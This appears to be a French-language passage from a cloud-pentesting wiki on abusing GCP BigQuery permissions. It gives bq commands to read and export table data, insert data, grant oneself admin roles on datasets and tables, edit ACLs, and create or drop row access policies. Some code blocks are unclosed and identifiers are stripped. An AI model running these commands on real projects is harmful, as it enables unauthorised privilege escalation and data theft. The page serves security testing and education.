La lecture des informations stockées dans une table BigQuery peut permettre de trouver des informations sensibles. Pour accéder à ces informations, les permissions nécessaires sont bigquery.tables.get, bigquery.jobs.create et bigquery.tables.getData :
Lire les données d'une table BigQuery
```bash
bq head .
bq query --nouse_legacy_sql 'SELECT * FROM `..` LIMIT 1000'
```
Ceci est une autre façon d’accéder aux données. Exportez-les vers un cloud storage bucket et téléchargez les fichiers contenant les informations. Pour effectuer cette action, les permissions suivantes sont nécessaires : bigquery.tables.export, bigquery.jobs.create et storage.objects.create.
Exporter une table BigQuery vers Cloud Storage
```bash
bq extract .
Il pourrait être possible d’introduire certaines données de confiance dans une table BigQuery pour abuser d’une vulnerability ailleurs. Cela peut être fait facilement avec les permissions bigquery.tables.get, bigquery.tables.updateData et bigquery.jobs.create :
Insérer des données dans une table BigQuery
```bash
# Via query
bq query --nouse_legacy_sql 'INSERT INTO `..` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
</details>
### `bigquery.datasets.setIamPolicy`
Un attaquant pourrait abuser de ce privilège pour **s'octroyer des autorisations supplémentaires** sur un BigQuery dataset :
<details>
<summary>Définir la politique IAM sur un BigQuery dataset</summary>
```bash
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>
# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy
Cette permission seule permet de mettre à jour votre accès à un dataset BigQuery en modifiant les ACLs qui indiquent qui peut y accéder :
Mettre à jour les ACLs du dataset BigQuery
```bash
# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson : > acl.json
## Give permissions to the desired user
bq update --source acl.json :
## Read it with
bq head $PROJECT_ID:.
Un attaquant pourrait abuser de ce privilège pour s’octroyer davantage d’autorisations sur une table BigQuery:
Définir la politique IAM sur une table BigQuery
```bash
# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:' \
--role='roles/bigquery.admin' \
:.
</details>
### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`
D'après la documentation, avec les permissions mentionnées il est possible de **mettre à jour une row policy.**\
Cependant, **en utilisant le CLI `bq`** vous avez besoin de permissions supplémentaires : **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.
<details>
<summary>Créer ou remplacer row access policy</summary>
```bash
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used
Il est possible de trouver le filter ID dans la sortie de la row policies enumeration. Exemple :
List row access policies
```bash
bq ls --row_access_policies :.
Id Filter Predicate Grantees Creation Time Last Modified Time
apac_filter term = “Cfba” user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09
</details>
Si vous avez **`bigquery.rowAccessPolicies.delete`** au lieu de `bigquery.rowAccessPolicies.update`, vous pouvez aussi simplement supprimer la row access policy :
<details>
<summary>Delete row access policies</summary>
```bash
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'
# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'
Caution
Une autre option possible pour bypass les politiques d’accès par ligne serait simplement de modifier la valeur des données restreintes. Si vous ne pouvez voir que lorsque term est Cfba, modifiez simplement tous les enregistrements de la table pour avoir term = "Cfba". Cependant, ceci est empêché par bigquery.